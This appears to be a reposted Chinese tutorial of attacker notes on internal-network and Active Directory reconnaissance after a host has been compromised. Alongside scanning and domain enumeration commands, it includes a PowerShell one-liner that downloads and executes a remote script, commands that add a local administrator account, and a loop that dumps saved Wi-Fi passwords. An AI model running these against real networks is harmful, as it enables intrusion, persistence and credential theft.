首页 > 数据库 > 数据库开发技术 > Kali Linux漫游内网笔记
$ ipconfig /all # 查询网络配置信息# 系统信息$ systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" # 查询操作系统和软件信息$ systeminfo # 查看补丁列表$ wmic qfe get Caption,Description,HotFixID,InstallOn # 查看安装在系统的补丁# 服务信息$ wmic service list brief # 查询本机服务信息$ wmic process list brief # 查询进程列表$ wmic startup get commond,caption # 查看启动程序信息# 用户信息$ net user # 查询用户列表$ net localgroup Administrators # 本地管理员$ query user || qwinsta # 当前在线用户# 进程信息$ tasklist$ wmic process list brief# 其它信息$ netstat -ano # 查询端口列表$ net share # 查询本机共享列表$ route print # 路由表$ arp -a # ARP表$ ipconfig /displaydns # 查看dns缓存$ netsh firewall show config # 查询防火墙相关配置
获取一台主机后,一般有3种情况:
本地普通用户,win-2008\user
本地管理员用户,administrator
域内用户,administrator
其中本地普通用户只能查询本机信息,不能查询域内信息,而本地管理员和域内用户均可查询域内信息。域内所有查询都通过域控制器(DC)实现,而这个查询会自动使用Kerberos协议进行认证,无须输入账号密码。
$ whoami用户名 SID=================== ==============================================hack-naraku\winuser S-1-5-21-1481718049-2714097393-3961720286-1108
该用户在本地组中没有本地管理员权限 在域中属于Domain Users组
$ net user winuser /domain.............本地组成员全局组成员 *Domain Users.............
使用ipconfig
$ ipconfig /all$ nslookup <DNS服务器>
域:域名。如果域为WORKGROUP则表示当前服务器不在域内
登录服务器:域控制器
$ systeminfo工作站域DNS名称:域名。如果为WORKGROUP则表示当前为非域环境 登录域:用于表示当前表示的用户是域用户还是本地用户
$ net config workstation正常执行:存在域,且当前用户是域用户 拒绝访问:存在域,但当前用户不是域用户 找不到域WORKGROUP的域控制器:不存在域
$ net time /domainNetBIOS探测 nbtscan.exe:一个命令行工具,用于扫描目标网络中开放的NetBIOS名称服务器
$ nbtscan.exe 192.168.1.0/24192.168.1.7 HACK-NARAKU\WIN7 SHARING192.168.1.12 HACK-NARAKU\DC SHARING DC*timeout (normal end of scan)
对指定网段中的每个IP地址使用ping命令
$ for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="来自 192.168.1.7 的回复: 字节=32 时间<1ms TTL=128来自 192.168.1.12 的回复: 字节=32 时间=1ms TTL=128
arp-scan.exe$ arp-scan.exe -t 192.168.1.0/24Reply that 00:50:56:C0:00:01 is 192.168.1.1 in 2.870200Reply that 00:0C:29:0A:7C:7F is 192.168.1.7 in 0.060100Reply that 00:0C:29:93:97:DC is 192.168.1.12 in 16.301800Reply that 00:50:56:EA:98:CF is 192.168.1.254 in 15.253300Reply that 00:0C:29:0A:7C:7F is 192.168.1.255 in 0.102700
Metasploit端口扫描:MSF提供多种端口扫描技术,还提供与其它扫描工具的接口
可在msfconsole下运行search portscan搜索端口扫描模块 这里使用的是auxiliary/scanner/portscan/tcp
$ msfconsolemsf5 > use auxiliary/scanner/portscan/tcpmsf5 auxiliary(scanner/portscan/tcp) > show optionsmsf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.12msf5 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024msf5 auxiliary(scanner/portscan/tcp) > run[+] 192.168.1.12: - 192.168.1.12:53 - TCP OPEN.......[+] 192.168.1.12: - 192.168.1.12:636 - TCP OPEN[*] 192.168.1.12: - Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed
$ nmap -sP 192.168.1.0/24$ nc -nv 192.168.1.12 22PowerSploit中的Recon/Invoke-PortScan.ps1脚本
$ powershell.exe -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1'); Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '80,445,1433,8080,3389' -oA temp.txt"$ powershell.exe -nop -exec bypass -c "Import-Module C:\Invoke-Portscan.ps1; Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '80,445,1433,8080,3389' -oA temp.txt"telnet:需要先开启telnet服务
$ telnet 192.168.1.12 22$ net view /domain # 查询域$ net view /domain:HACK-NARAKU # 查询域内所有计算机$ net group /domain # 查询域内所有用户组$ net group "domain computers" /domain # 查询所有域成员$ net accounts /domain # 查询域密码策略
信任域:可以在工作组里查询,查询内网是否有域环境
参考:Nltest相关命令
$ nltest /domain_trusts$ nltest /domain_trusts /all_trusts /v /server:<域控IP>$ nltest /dsgetdc:<XXXXX> /server:192.168.1.12查看域控的机器名
$ nltest /DCLIST:hack-naraku$ nslookup -type=SRV _ldap._tcp$ net time /domain$ net group "Domain Controllers" /domain查询所有域用户列表$ net user /domain # 向域控进行查询$ wmic useraccount get /all # 获取域内用户信息$ net localgroup administrators # 查询本地管理员组用户
$ net group "Domain Admins" /domain # 查询域管理员用户$ net group "Enterprise Admins" /domain # 查询管理员用户组
Smb-enum-sessions.nse:如果存在域账户或者本地账户,就可以使用该脚本获取远程机器的登陆会话 限制:不需要管理员权限
$ nmap --script=smb-enum-sessions 192.168.1.1smb-enum-domains 尝试枚举系统上的域及其策略smb-enum-users 枚举远程Windows系统上的用户,并提供尽可能多的信息smb-enum-shares 便利远程主机共享目录smb-enum-processes 通过SMB从远程服务器提取进程列表,可以知道目标主机运行哪些软件。需要管理员权限smb-enum-sessions 枚举在本地或通过SMB共享登录到系统的用户smb-os-discovery 尝试通过SMB协议(端口445或139)确定操作系统,计算机名称,域,工作组和当前时间。
$ powershell.exe -exec bypass -c "Import-Module C:\PowerView.ps1; Invoke-UserHunter"一个典型的域权限提升过程,通常围绕着收集明文凭据或通过Mimikatz提权等方法。在获取了管理员权限的系统中寻找域管理员登录进程,进而收集域管理员的凭据。
$ tasklist /v # 列出本机的所有进程及进程用户$ net group "Domain Admins" /domain # 获取域管理员列表$ net group "Domain Controllers" /domain # 查询域控制器列表Powershell收集信息$ Get-ExecutionPolicy # 查看执行策略$ Set-ExecutionPolicy Unrestricted # 修改执行策略(需管理员权限)
$ Import-Module .\PowerView.ps1Get-NetDomain # 获取当前用户所在域的名称Get-NetUser # 获取所有用户的详细信息Get-NetComputer # 获取域内所有机器的详细信息Get-NetShare # 获取当前域内所有的共享信息Get-ADObject # 获取活动目录的对象(内容超级多)Invoke-UserHunter # 获取域用户登陆的计算机信息,以及该用户是否有本地管理员权限Invoke-ProcessHunter # 通过查询域内所有的机器进程找到特定用户
权限:system > administrator > user$ net user /domain # 查看域用户$ net group "domain admins" /domain # 查看域管理员$ net group "domain controllers" /domain # 查看域控制器$ nltest /domain_trusts # 查看域信任$ query user # 查看在线用户$ net user # 查看全部用户$ net user naraku # 查看指定用户: net user <username>$ net user naraku pwd123. /add # 添加用户,默认Users组: net user <username> <password> /add$ net localgroup administrators naraku /add # 添加到Administrators组: net localgroup administrators <username> /add
$ for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear更多文章 关注我们
原文作者:Kali笔记;如有侵权,请联系管理员删除。